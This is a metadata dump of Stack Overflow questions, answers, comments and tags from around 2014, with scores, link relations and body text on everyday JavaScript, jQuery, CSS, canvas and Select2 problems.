has text: The directive doesn't depend on the controller. The controller uses a reference to the directive to change some presentation or view state in the directive via a method call.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25560673
type: AnswerComment

http://stackoverflow.com/a/25591600
answers question: http://stackoverflow.com/q/25591489
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: Heres an example of doing it to each character, might help you. You can change the modular to take more characters or even word. HTML: This is a sample post CSS: .color_red{ color:red; } .color_green{ color:green; } Jquery: $('.styles').each(function(){ var letters = $(this).text().split(' '); $(this).text(' '); for(var i = 0; i < letters.length; i++){ if(i % 2 == 0){ $(this).append('' + letters[i] + ' ' + ''); } else{ $(this).append('' + letters[i] + ' ' + ''); } } }); All im doing is assigning a different class to the letters in an alternative method. Jsfiddle: http://jsfiddle.net/jagmitg/v9xjn9c2/1/ Jsfiddle v2 - Words only: http://jsfiddle.net/jagmitg/v9xjn9c2/2/

http://stackoverflow.com/comment/39907008
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25555260
has text: Your jsfiddle is great, but I must be missing something on my side when trying to match the functionality. JSFiddle is exactly what I want. Right now once I hit the ELSE statement it hides everything, but nothing gets shown that matches
score: 0

http://stackoverflow.com/a/25661211
score: 0
has comment: http://stackoverflow.com/comment/40100241
accepted answer of: http://stackoverflow.com/q/25660926
type: Answer
answers question: http://stackoverflow.com/q/25660926
has body: You may reverse the order of the items of the second .holder element playing a bit with display: table | table-footer-group | table-header-group. Try rewriting your media query like so : http://jsfiddle.net/bs5dam2j/ @media (max-width: 400px){ .holder .card { display: block; } .holder + .holder { display: table; } .holder + .holder .one { display: table-header-group; } .holder + .holder .three { display: table-footer-group; } /* trick to show .one and .three when they are empty */ .holder + .holder .card:before { display: inline-block; content: ""; height: 100px; width: 1px; } }
type: AcceptedAnswer

http://stackoverflow.com/comment/40108620
type: AnswerComment
has text: yes it should. Check the maindocument.html is a valid html page with the correct html tags
comment on: http://stackoverflow.com/a/25665969
type: Comment
score: 0

http://stackoverflow.com/q/25557516
tagged with: jquery
score: -1
upvote count: 0
answer count: 1
has body: Few things: I think there is a JQuery Clash, because either the nav bar wont load or the slider wont work I can't get the jssor slider to work at 100% width and height. It only works when i set the w and h in pixels. Here is the head tag of the site: $gantry->addScript(array( 'tooltips.js', 'jquery.preloader.js', 'touch.gallery.js', 'jquery.isotope.min.js', 'scripts.js' )); ?> And here is the slider div: <?php if ($class=="homepage") :?> <?php endif; ?> Been digging through this and searching for answers for about 5 hours now. Am I missing something really big thats in front of my face? Site: www.xabre.net/tempbw
favorite count: 0
type: UnansweredQuestion
tagged with: css
tagged with: jssor
has answer: http://stackoverflow.com/a/25560247
has comment: http://stackoverflow.com/comment/39913160
tagged with: java
downvote count: 1
has title: jssor - Clash of JQuery of some sort?
type: Question
has comment: http://stackoverflow.com/comment/39912932
tagged with: javascript

http://stackoverflow.com/q/25696886
answer count: 2
tagged with: validation
downvote count: 1
favorite count: 0
tagged with: addition
possible better answer: http://stackoverflow.com/a/25697449
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/25697063
accepted answer: http://stackoverflow.com/a/25697063
tagged with: innerhtml
has title: How do I create ID on a class HTML element on specific InnerHTML has no ID, with JavaScript?
type: Question
has body: I have a problem with a code that can not run, I want a list that share the same class add a specific id for specific text. I have this so far can not make it work. js function Check() { var x = new Array(); x[0] = "text to add id"; if (document.getElementsByClassName("classtext").innerHTML == x[0]) { x.setAttribute("id", "first_id");} else{x.setAttribute("id", "Second_id"); } } html text normal second id text to add id text normal second id text normal second id Compare
has answer: http://stackoverflow.com/a/25697449
tagged with: javascript
score: -1
tagged with: class

http://stackoverflow.com/q/25701798
accepted answer: http://stackoverflow.com/a/25702177
favorite count: 0
has title: A reusable function to clip images into polygons using html5 canvas
linked to: http://stackoverflow.com/q/588040
upvote count: 4
tagged with: onload
type: AnsweredQuestion
downvote count: 0
has body: Guess the title of the post may need editing, but for now I don't know where the problems are. I have read pages and answers to similar questions, here and elsewhere. One Stack Overflow answer is especially close, but I don't understand it. I want a function, to draw polygons on canvas at desired coordinates and to fill them with some background image loaded from a file (large enough that no tiling is needed). Triangles would be fine for a test. Apparently I should use drawImage and clip, and to give the polygon a border, I can resuse the same path for the clip and the stroke. Also apparently I should keep the order of - define path - save - clip - drawImage - restore - stroke. Also read somewhere that it is enough to load the image once. (If uou want me to quote sources for all these assumptions, I will look for where I saw them. Most of them on Stack Overflow) The HTML is an otherwise empty &lt;body onload = "main ();"&gt;&lt;/body&gt; First approach, pretending that the browser will wait for the picture to load: var ctx, img; var image_path = 'bg.jpg'; function main () { var CANVAS_SIZE = 600; var view_field_cnv = document.createElement ('canvas'); view_field_cnv.width = CANVAS_SIZE; view_field_cnv.height = CANVAS_SIZE; view_field_cnv.style.border = "1px solid"; document.body.appendChild (view_field_cnv); ctx = view_field_cnv.getContext ('2d'); img = document.createElement ('img'); img.src = image_path; place_triangle (0, 0); place_triangle (300, 300); place_triangle (500, 500); place_triangle (0, 0); } function place_triangle (x, y) { console.log (x, y); ctx.beginPath (); ctx.moveTo (x + 10, y); ctx.lineTo (x + 110, y); ctx.lineTo (x + 60, y + 40); ctx.closePath (); img = document.createElement ('img'); img.src = image_path; ctx.save (); ctx.clip (); ctx.drawImage (img, x, y); ctx.restore (); ctx.stroke (); } That draws all three triangles but no clipped images. Second try, with drawImage inside image.onload: var ctx; var image_path = 'bg.jpg'; function main () …
tagged with: drawimage
type: Question
tagged with: canvas
tagged with: clip
possible better answer: http://stackoverflow.com/a/62994784
tagged with: javascript
score: 4
has answer: http://stackoverflow.com/a/62994784
has answer: http://stackoverflow.com/a/25702177
answer count: 2

http://stackoverflow.com/comment/39926908
has text: more specifically I am trying this http://pastebin.com/6Rk1UqGy but then I found for this I need to use promises
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25566676

http://stackoverflow.com/q/25580407
tagged with: javascript
has comment: http://stackoverflow.com/comment/39953012
score: 4
favorite count: 0
has answer: http://stackoverflow.com/a/25580523
has comment: http://stackoverflow.com/comment/39953184
has body: Consider the following code: var factory = function(someCondition) { var para1 = 'some value'; if(someCondition) var para2 = 'some other value'; return new MyClass(para1, para2); } I know that this code is perfectly legal, even though para2 is declared inside the if but used outside. My question is: Is this - although legal - considered bad style by major Javascript style guides? If so, by which and what are the proposed alternatives? Just to be clear: I know about hoisting and the fact that variables are not block scoped but function scoped.
has title: Declare variable in if and use outside
has answer: http://stackoverflow.com/a/25580553
has answer: http://stackoverflow.com/a/25580778
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25580419
has comment: http://stackoverflow.com/comment/39952994
type: Question
has comment: http://stackoverflow.com/comment/39953293
has comment: http://stackoverflow.com/comment/39952998
has answer: http://stackoverflow.com/a/25580483
has comment: http://stackoverflow.com/comment/39953225
has comment: http://stackoverflow.com/comment/39953153
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/40275435
type: AnswerComment
has text: According to HTML5ROCKS WebRTC only works in Firefox and Chrome (or Opera which uses webkit like Chrome) -- You have to install/enable Chrome Frame for Internet Explorer to add that capability. Info here: http://www.html5rocks.com/en/tutorials/webrtc/basics/ but it is not natively supported yet as of IE11 without that Chrome-based plugin.
type: Comment
comment on: http://stackoverflow.com/a/25692840
score: 0

http://stackoverflow.com/a/25705178
score: 1
downvote count: 0
has body: You should draw image after it is loaded img.onload = function() { // here... };
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25705121

http://stackoverflow.com/q/25594181
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25594214
downvote count: 1
type: Question
tagged with: javascript
score: -1
upvote count: 0
has body: I converted this HTML template into .aspx by opening it in Adobe dreamweaver and saving as aspx. It was working fine in HTML version but not working on this page. http://www.talismanmovers.ca/test.aspx
answer count: 1
tagged with: asp.net
favorite count: 0
has answer: http://stackoverflow.com/a/25594214
tagged with: http://stackoverflow.com/tag/html
has title: Down down menu not working when converted from HTML to aspx page

http://stackoverflow.com/q/25616520
favorite count: 0
tagged with: jquery-select2
has comment: http://stackoverflow.com/comment/40018766
has title: Select2 dropdown allow new values by user when user types
upvote count: 6
has comment: http://stackoverflow.com/comment/40018928
has answer: http://stackoverflow.com/a/47633838
type: AnsweredQuestion
score: 6
has answer: http://stackoverflow.com/a/25616712
type: Question
linked to: http://stackoverflow.com/q/14577014
answer count: 3
has body: The select2 component can be configured to accept new values, as ask in Select2 dropdown but allow new values by user? And you can see it at: http://jsfiddle.net/pHSdP/646/ the code is as below: $("#tags").select2({ createSearchChoice: function (term, data) { if ($(data).filter(function () { return this.text.localeCompare(term) === 0; }).length === 0) { return { id: term, text: term }; } }, multiple: false, data: [{ id: 0, text: 'story' }, { id: 1, text: 'bug' }, { id: 2, text: 'task' }] }); The problem is that the new value is only added to the list if you enter new value and press enter, or press tab. Is it possible to set the select2 component to accept this new value when use types and leave the select2. (Just as normal html input tag which keeps the value which you are typing when you leave it by clicking some where on the screen) I found that the select2 has select2-blur event but I don't find a way to get this new value and add it to list?!
possible better answer: http://stackoverflow.com/a/39973512
downvote count: 0
accepted answer: http://stackoverflow.com/a/25616712
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/39973512

http://stackoverflow.com/comment/40215505
type: AnswerComment
has text: Thanks it did work! I updated my question because i thought that it then was easy to display a sphere / dot. But it wasn't. please help.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25691987

http://stackoverflow.com/q/25625464
accepted answer: http://stackoverflow.com/a/25625602
type: AnsweredQuestion
upvote count: 0
has title: Javascript to Call a Html Page
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
score: -2
answer count: 2
downvote count: 2
tagged with: messagebox
has comment: http://stackoverflow.com/comment/40035298
has comment: http://stackoverflow.com/comment/40035852
has answer: http://stackoverflow.com/a/25625602
tagged with: message
possible better answer: http://stackoverflow.com/a/25627783
has comment: http://stackoverflow.com/comment/40035435
tagged with: javascript
has answer: http://stackoverflow.com/a/25627783
has body: So I been playing around... With POPUP Windows. It works fine but issue is the window box. What I need help with is a simple message that appears after my score board updates the score? For example: You Scored!!!! and is it possible to pass a html page instead of a message.

http://stackoverflow.com/q/25673001
has comment: http://stackoverflow.com/comment/40426865
answer count: 0
downvote count: 0
score: 1
has body: I have some isotope images set up but the problem is when I first load the page all images show (example : all cars and buses are shown), then the default filter kicks in a second later and shows what I want (example: below code would then show cars). It's driving me nuts, does anyone know what I should be doing? jQuery(document).ready(function ($) { var $container = $('#portfolio-items'); var $filter = $('#filter'); $container.isotope({ filter: '.cars', layoutMode: 'fitRows', animationOptions: { duration: 750, easing: 'linear' } }); $filter.find('a').click(function () { var selector = $(this).attr('data-filter'); $filter.find('a').removeClass('current'); $(this).addClass('current'); $container.isotope({ filter: selector, animationOptions: { animationDuration: 750, easing: 'linear', queue: false, } }); return false; }); });
type: Question
has title: How to show isotope items after filter is applied
tagged with: javascript
tagged with: jquery-isotope
tagged with: jquery
upvote count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css

http://stackoverflow.com/q/25665744
downvote count: 1
has title: Fastest javascript charting library for really huge data
type: Question
upvote count: 4
has body: I need to develop an ASP.NET web application ( not MVC ) which shows charts which are generated using massive data sources (like 1 billion record for a chart). Charts should have at least these 2 features: zoom + pan through zoomed chart mouseover displays summary data of points Needed chart types: line chart bar/column chart pie chart area chart (not that necessary) bubble chart ( not that necessary ) and combinations of chart types: column chart + line chart area chart + line chart ( not that necessary ) bubble chart + pie chart ( not that necessary ) Supported Browsers: Modern versions of Chrome, Firefox, Opera, Safari(not that necessary) IE 7+ Possible solutions I have in mind: Server-side chart image generation: This solution is good for performance but does not provide enough chart features. Javascript-based charts: This solution has so many libraries but most of them does not provide enough performance ( as far as I know from my research ). Things I found: canvasjs dygraphs google charts highcharts amcharts jqchart d3js Generate the image on server, manipulate it using javascript: This solution probably will do it but I could not find any library which works like this. I do not know how much time it will cost if we decide to develop this. The highest priority is the performance of chart-generation and internet-browser. User experience is the key here. Which direction should I choose?
tagged with: charts
tagged with: javascript
has answer: http://stackoverflow.com/a/25718824
has comment: http://stackoverflow.com/comment/40108088
has comment: http://stackoverflow.com/comment/101485938
has comment: http://stackoverflow.com/comment/40108783
has answer: http://stackoverflow.com/a/25666014
tagged with: asp.net
favorite count: 0
possible better answer: http://stackoverflow.com/a/25689721
accepted answer: http://stackoverflow.com/a/25718824
has answer: http://stackoverflow.com/a/25689721
answer count: 4
has answer: http://stackoverflow.com/a/25665962
type: AnsweredQuestion
score: 3
tagged with: performance
has comment: http://stackoverflow.com/comment/40109584

http://stackoverflow.com/a/25641612
score: 1
answers question: http://stackoverflow.com/q/25641475
upvote count: 1
has body: Add id in your DOM element. It will work. document.write('&lt;input type="radio" id="AnswerA" name="AnswerA" /&gt;' + res.rows[jsonCounter][1]);
has comment: http://stackoverflow.com/comment/40064400
type: Answer
downvote count: 0

http://stackoverflow.com/q/25607034
has answer: http://stackoverflow.com/a/25607120
tagged with: dartium
accepted answer: http://stackoverflow.com/a/25607120
linked to: http://stackoverflow.com/q/20824595
type: Question
upvote count: 2
downvote count: 0
answer count: 1
tagged with: javascript
linked to: http://stackoverflow.com/q/13394124
favorite count: 0
tagged with: dart
has body: For a project I am doing I really need to find a location or Coordinates. I do not know how to get a Location / coordinates, I dont think that dartium supports many ways of getting locations / coordinates. I am guessing I would use navigator.getLocation but it is not working. Help? Thanks Luca
has title: Finding Location / Coordinates in Dart
tagged with: geolocation
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/87521456
comment on: http://stackoverflow.com/q/25615532
score: 0
has text: I had this problem. Turns out it was a spelling mistake. I was using `querry` instead of `query`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40151317
has text: I don't know offhand, but I believe it's something you look at on the server side. WinJS.xhr just uses XMLHttpRequest underneath, and if there's a session cookie I think it picks it up. I haven't worked with this directly, however, so I could be wrong. I suggest, then, that you investigate sessions and XMLHttpRequest, which should give you insights here.
type: Comment
comment on: http://stackoverflow.com/a/25627829
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40080856
type: QuestionComment
has text: I would if I could however the answer box is hidden from this question.
comment on: http://stackoverflow.com/q/25647951
score: 0
type: Comment

http://stackoverflow.com/a/25661433
has comment: http://stackoverflow.com/comment/40100550
has comment: http://stackoverflow.com/comment/40109063
answers question: http://stackoverflow.com/q/25661394
has body: You could use the below regex to match all the French phone numbers, ^(?:(?:0|\+33)(?:6|7))\d{8}$ DEMO Use the below regex if you want to match the numbers which are in this format 06 21 05 65 48 and +33 6 21 05 65 48 also, ^(?:(?:(?:0|\+33)(?:6|7))\d{8}|0[67](?: \d{2}){4}|\+33 [67](?: \d{2}){4})$ DEMO
has comment: http://stackoverflow.com/comment/40100588
has comment: http://stackoverflow.com/comment/40101424
downvote count: 0
has comment: http://stackoverflow.com/comment/40100786
has comment: http://stackoverflow.com/comment/40100454
has comment: http://stackoverflow.com/comment/40100743
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40100860
has comment: http://stackoverflow.com/comment/40102693

graphics
tag name: graphics
type: Tag
tags question: http://stackoverflow.com/q/25560829

http://stackoverflow.com/a/25654402
score: 0
type: Answer
has body: In one case you are hiding a table, and in the other you are hiding a div. This is why you get different results.
answers question: http://stackoverflow.com/q/25654361

http://stackoverflow.com/comment/39994271
type: Comment
type: QuestionComment
has text: @FrédéricHamidi Incorrect, you can match them in CSS3: `[id="44"]`
comment on: http://stackoverflow.com/q/25602954
score: 0

http://stackoverflow.com/comment/42271904
comment on: http://stackoverflow.com/a/26601707
has text: $("#something") can be directly replaced by document.getElementById("something") and .html()/.text() with innerHTML/Text. This conversion is hardly a challenge. I am surprised a world-weary promethean like yourself didn't think of it instantly.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25678915
has comment: http://stackoverflow.com/comment/40210325
answers question: http://stackoverflow.com/q/25678697
has comment: http://stackoverflow.com/comment/40166846
has comment: http://stackoverflow.com/comment/40221317
upvote count: 1
type: Answer
has body: If you're looking to just log duration of some process, you could use the built in Node.js console.time() and console.timeEnd() functions. You can check out the Node console docs here. You could write a small module to wrap requests functionality and add in the console.time[End] statements that could look like: var request = require('request'); module.exports = { get: function(url, next) { // start console timer console.time(url); request.get(url, function() { // end console timer console.timeEnd(url); next.apply(this, arguments); }); } }; You would then include this module instead of the request module directly and that would give you that logging by default. Note: this is only an example for GET requests, the rest could be built out. This outputs in the format [label]: 475ms. So pretty nice and really clean to show how many ms it takes for something to complete. This wont give you the nice formatting possibilities from moment.js but it sure is simple.
downvote count: 0
has comment: http://stackoverflow.com/comment/40179387
score: 1

http://stackoverflow.com/a/25690602
downvote count: 0
has body: You can use the &lt;input type="file" accept="image/*;capture=camera"&gt; &lt;input type="file" accept="video/*;capture=camcorder"&gt; &lt;input type="file" accept="audio/*;capture=microphone"&gt; Compatability: Android 3.0 browser - one of the first implementations. Check out this video to see it in action. Chrome for Android (0.16) Firefox Mobile 10.0 iOS6 Safari and Chrome (partial support) source
type: Answer
has comment: http://stackoverflow.com/comment/40153169
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25690436
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25690436
score: 3

http://stackoverflow.com/comment/39907141
score: 0
type: AnswerComment
has text: My drop down are showing values from database, they are not empty
comment on: http://stackoverflow.com/a/25556119
type: Comment

angular-ui-router
tags question: http://stackoverflow.com/q/25647454
tags question: http://stackoverflow.com/q/25669813
tags question: http://stackoverflow.com/q/25669163
tags question: http://stackoverflow.com/q/25672150
tags question: http://stackoverflow.com/q/25600071
tags question: http://stackoverflow.com/q/25610613
tags question: http://stackoverflow.com/q/25693908
tags question: http://stackoverflow.com/q/25555054
tags question: http://stackoverflow.com/q/25660564
tags question: http://stackoverflow.com/q/25664590
tags question: http://stackoverflow.com/q/25693320
tag name: angular-ui-router
tags question: http://stackoverflow.com/q/25556486
tags question: http://stackoverflow.com/q/25574073
tags question: http://stackoverflow.com/q/25596941
tags question: http://stackoverflow.com/q/25587280
tags question: http://stackoverflow.com/q/25676056
type: Tag
tags question: http://stackoverflow.com/q/25614612
tags question: http://stackoverflow.com/q/25573720
tags question: http://stackoverflow.com/q/25687526
tags question: http://stackoverflow.com/q/25574008
tags question: http://stackoverflow.com/q/25655246

http://stackoverflow.com/q/25655072
has comment: http://stackoverflow.com/comment/40091381
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/40089316
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40089314
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/21987909
tagged with: array-difference
has body: This fiddle shows how to grab the elements not in an array based upon the value of a key 9in my case id). http://jsfiddle.net/wgmz40ow/ This solution was taken from here: Difference between two array of objects in JavaScript Before finding that solution I attempted to use simple for loops to end up with an array that consisted ONLY of objects in a but NOT in b. Could someone provide the solution without using javascripts Array.prototype.filter function? Edit: In my case I specifically wanted to handle a case an array b is always a subset of an array a. I was running into trouble with a nested loop, but once I broke the inner loop out into a function I was able to grab the solution very quickly: http://jsfiddle.net/xzy9Lyr0/ Unfortunately, I see why the other solution is preferable - mine won't return a true difference, only the elements in a and not in b, unless I concat the two returned arrays (http://jsfiddle.net/xzy9Lyr0/2/).
has title: Javascript - getting difference between two arrays of objects based on key value without using Array.prototype.filter
has answer: http://stackoverflow.com/a/25655600
has comment: http://stackoverflow.com/comment/40089340
type: Question

http://stackoverflow.com/comment/40025174
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25620037
has text: your code is working as expected http://jsfiddle.net/zb6b2dcw/
type: Comment

http://stackoverflow.com/q/25577734
type: Question
score: 0
has answer: http://stackoverflow.com/a/25578375
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: css
type: UnansweredQuestion
tagged with: scroll
tagged with: opacity
has title: Changing opacity on scroll sequentially for all divs in a class/on a page
has body: I've been working with changing the opacity of some divs dynamically based on scroll and page location. I've made a bunch of progress, but I've gotten caught up on three minor issues. I have a top div with two "covered" divs one after the other below it. I want the opacity of each cover to slowly decrease as I scroll past its top, and then once the bottom of the page passes the middle of the cover I want it to finish fading out. My current issues are: The cover divs are fading simultaneously, and I want each to do its fading as its own top enters the screen (one at a time as you scroll down) For the "reveal" (once the bottom of the window passes halfway on the cover) there is a flash of the cover becoming suddenly solid and then doing the fadeOut instead of just fading out from its current opacity. The fading is seemingly being done by amount of scrolling and not location of page bottom. i.e if I make the window really short, then by the time I've scrolled down to see the top of the first div, the cover is already completely gone. Here is my javascript code: $(window).scroll(function(){ var sT = $(window).scrollTop(), wH = $(window).height(); $('.color').each(function(){ var ths = $(this); var targetHeight = ths.outerHeight(); var scrollPercent = (targetHeight - window.scrollY) / targetHeight; if(scrollPercent &gt;= 0){ ths.css('opacity', scrollPercent); } if(sT + wH &gt; ths.offset().top + (ths.height())/2){ ths.fadeOut(2000); } }); }); And here is a JS fiddle of what I've got so far: http://jsfiddle.net/DnJ2z/690/ Anything you guys can do to help with any of my 3 issues would be great! Thanks!

http://stackoverflow.com/comment/39953526
has text: I used count char and they give me this There were 1 instance(s) of "A" in the string. There were 1 instance(s) of "a" in the string. There were 2 instance(s) of "r" in the string. There were 1 instance(s) of "y" in the string. for 1234
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25580558

http://stackoverflow.com/comment/39962967
type: Comment
has text: I was missing the Facebook sdk, strange enough everything works without this script... go figure, Thank you luschn
type: AnswerComment
comment on: http://stackoverflow.com/a/25583023
score: 0

http://stackoverflow.com/comment/40108866
comment on: http://stackoverflow.com/q/25666223
type: QuestionComment
type: Comment
has text: You have lines of text in your code that are uncommented. I'm not sure if this is the original but please format it properly.
score: 0

http://stackoverflow.com/comment/40054473
comment on: http://stackoverflow.com/q/25635395
has text: Oh I just realised was the indentation, true. I fix it. Now the error is gonne, but got another problem, when I hit the Submit button (see the coffeescript code) I don't receive any Pop-Up message in my browser (Chrome), the only action is the .attr('disabled', true) that disables the button after I click on it. I edit the code of `Stripe.setPublishableKey($)('meta[name="stripe-key"]').attr('content'))` to: `Stripe.setPublishableKey($('meta[name="stripe-key"]').attr('content'))`, same error, doesn't appear the alert.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40059656
has text: You've answered Mutable variable is accessible from closure. So, did you try using closure???
comment on: http://stackoverflow.com/q/25638834
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25703022
type: Answer
has body: Since I was doing a cross domain call I couldn't use async: false and it seems like I never should've done it anyway. I solved my problem by using $.getJSON() and simply making my music stream code a function so it can be run at success callback: $.getJSON( 'http://api.soundcloud.com/resolve.json?url=' + trackUrl + '&amp;client_id=' + clientId, function(result) { console.log('Track ID: ' + result.id); setTrackId(result.id); streamTrack(); } );
score: 0
accepted answer of: http://stackoverflow.com/q/25702231
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25702231

http://stackoverflow.com/comment/40112673
type: QuestionComment
comment on: http://stackoverflow.com/q/25668261
type: Comment
score: 1
has text: If you start the `span` with `display:none` it works well: http://jsfiddle.net/oqfhuLzn/2/

http://stackoverflow.com/a/25692270
upvote count: 1
has comment: http://stackoverflow.com/comment/40156785
score: 1
has comment: http://stackoverflow.com/comment/40156730
has body: try this var current=document.activeElement, all=$(".editable"), index=all.indexOf(current), next=all[index+1] It first finds the current element and the list of elements, then it will find the current element in the list. It will then add 1 to the index and select it from the list. To extend the array with the indexOf function; if(!Array.prototype.indexOf){ Array.prototype.indexOf=function(e/*,from*/){ var len=this.length&gt;&gt;&gt;0, from=Number(arguments[1])||0; from=(from&lt;0)?Math.ceil(from):Math.floor(from); if(from&lt;0)from+=l; for(;from&lt;len;from++){ if(from in this&amp;&amp;this[from]===e)return from; } return -1; }; }
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25692132

http://stackoverflow.com/q/25585596
tagged with: css
favorite count: 0
upvote count: 2
tagged with: ruby-on-rails
has body: I am using Ryan Bates nested_form_for: https://github.com/ryanb/nested_form. For my select statement, I am using chosen-select: http://harvesthq.github.io/chosen/ . When I click "Add Skill" I cannot get the select statement to also be class: 'chosen-select'. A new select field shows up, but it has no custom css styles. To be clearer, the original select statements show up correctly and the ones which I add on do not have custom css styles (chosen-select). &lt;%= nested_form_for(@user) do |f| %&gt; &lt;%= f.fields_for :skills do |builder| %&gt; &lt;%= builder.select :skill, data, {}, {class: 'chosen-select'} %&gt; &lt;%= builder.date_select :expdate, include_blank: true %&gt; &lt;%= builder.link_to_remove "Remove" %&gt; &lt;% end %&gt; &lt;%= f.link_to_add "Add Skill", :skills %&gt; &lt;% end %&gt; Is there a way to make the select statements I add via the link_to_add function use the class 'chosen-select' ?
type: AnsweredQuestion
score: 2
type: Question
tagged with: ruby-on-rails-4
has title: Rails 4 - nested_form and chosen-select
downvote count: 0
has answer: http://stackoverflow.com/a/25586332
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25586332
answer count: 1

http://stackoverflow.com/comment/39962014
score: 0
type: Comment
has text: updated post with code
type: QuestionComment
comment on: http://stackoverflow.com/q/25585414

http://stackoverflow.com/comment/39902606
comment on: http://stackoverflow.com/a/25553773
has text: This lets the javascript do all the work for you, getting rid of the onload on your body div.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40099719
has text: To make something available in all controllers, you could use a service. Otherwise using the rootScope will work just fine.
type: QuestionComment
comment on: http://stackoverflow.com/q/25660564
score: 0
type: Comment

http://stackoverflow.com/q/25624458
has comment: http://stackoverflow.com/comment/40033411
tagged with: java
answer count: 3
has answer: http://stackoverflow.com/a/25624640
tagged with: javascript
score: -7
favorite count: 0
downvote count: 8
has body: Is there any way to disable browser back button using Java code? Javascript is not reliable in all browsers.
has title: Is there any way to disable browser back button using java code
possible better answer: http://stackoverflow.com/a/25625234
has answer: http://stackoverflow.com/a/25625234
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25624476
upvote count: 1
has comment: http://stackoverflow.com/comment/40033364
has comment: http://stackoverflow.com/comment/40036238
type: Question
accepted answer: http://stackoverflow.com/a/25624476

http://stackoverflow.com/a/25705890
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40183517
has comment: http://stackoverflow.com/comment/40188219
type: Answer
has body: You need to set a date or cache thing to check if the file is newer than it was before. You can check once a while with AJAX if the file is modified and if the result is true you can refresh your page with jquery or javascript. $.ajax({ url : "URL_TO_FILE", type: "GET", data : formData, success: function(data, textStatus, jqXHR) { //data - response from server }, error: function (jqXHR, textStatus, errorThrown) { } }); Here is a link so you can change the css file. http://www.sitepoint.com/jquery-change-css-file-2/
score: 2
accepted answer of: http://stackoverflow.com/q/25705721
upvote count: 2
has comment: http://stackoverflow.com/comment/54362644
answers question: http://stackoverflow.com/q/25705721

http://stackoverflow.com/comment/39953721
type: QuestionComment
has text: Please check console... right click on browser...there is option like console
comment on: http://stackoverflow.com/q/25580783
score: 0
type: Comment

http://stackoverflow.com/a/27904920
score: 23
upvote count: 23
has comment: http://stackoverflow.com/comment/44228189
has comment: http://stackoverflow.com/comment/55158859
has body: Ok, what i've found, and what is mentioned above is that trafficLayer.setMap(null) and trafficLayer.setMap(map) - just switches tiles with drawn traffic to tiles without traffic. Also map.setZoom(map.getZoom()) (and any other variaties of zoom) doesn't work because tiles are already in cache and google scripts don't even try to download fresh ones from server. Also, seems that if you just open google maps and turn on traffic layer it's not refreshing! Such a lame, google! So we have to find a different way to solve it. First thought is to use window.location.reload(true) wich will flush image cache - and we see it works. Not a good way to go though - reloading whole page taking too long. How about reloading images? Let's try! function reloadTiles() { var tiles = $("#map-canvas").find("img"); for (var i = 0; i &lt; tiles.length; i++) { var src = $(tiles[i]).attr("src"); if (/googleapis.com\/vt\?pb=/.test(src)) { var new_src = src.split("&amp;ts")[0] + '&amp;ts=' + (new Date()).getTime(); $(tiles[i]).attr("src", new_src); } } } And we call this function every N seconds: setInterval(reloadTiles, 5000) some comments: $("#map-canvas").find("img") - will grab all images from your map container (map-canvas in my case). Not all are tiles so we need to filter them out - i've noticed that tiles are loaded from domains like mts(digit).googleapis.com/vt?pb=(hella long param). Other map images are loaded from maps.gstatic.com. So we get tile images, add bogus parameter and change their src. Profit! Btw, i've found that traffic really changes in real time - tiles may be different each second. Edit Oh, sorry, here's working sample. And it's a snowy Moscow with a huge traffic :)
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25687831
has comment: http://stackoverflow.com/comment/45488851
answers question: http://stackoverflow.com/q/25687831
type: Answer
has comment: http://stackoverflow.com/comment/100673702
has comment: http://stackoverflow.com/comment/60284155

http://stackoverflow.com/a/30094123
has body: The problem is unfortunately not in the code you posted*, but in the fiddle. What you want is certainly possible, though as mentioned in comments you'd need proper nesting to reach grand-children, because they will always be in the context of a certain parent (Term). I've (mostly) fixed your jsfiddle, fixing issues until there were no errors left. Some things that would answer your "question" are: Make sure you properly close DOM elements (e.g. table and tbody); Make sure you refer to $root for methods that are on the root (e.g. addTier); In tables, make sure each row has equal number of cells (or use colspan), or your results will look weird. * It'd be nice if you edit your question, and included the relevant (preferably well-formatted) code, so the question can remain useful for others with a similar problem.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25661907

http://stackoverflow.com/q/25600509
has body: I am trying to play a simple audio file using audio tag with autoplay set to true. It works fine in chrome,firefox but having no luck in Internet Explorer older versions. How to fix this ? Code I am trying: Play I know HTML5 audio is not supported below IE9. I don't want the flash fall back as the user might not have flash player installed. What approach would you follow in this scenerio ?
upvote count: 1
has title: How to support HTML5 audio tag in older versions of Internet Explorer?
has comment: http://stackoverflow.com/comment/39989787
type: Question
tagged with: internet-explorer
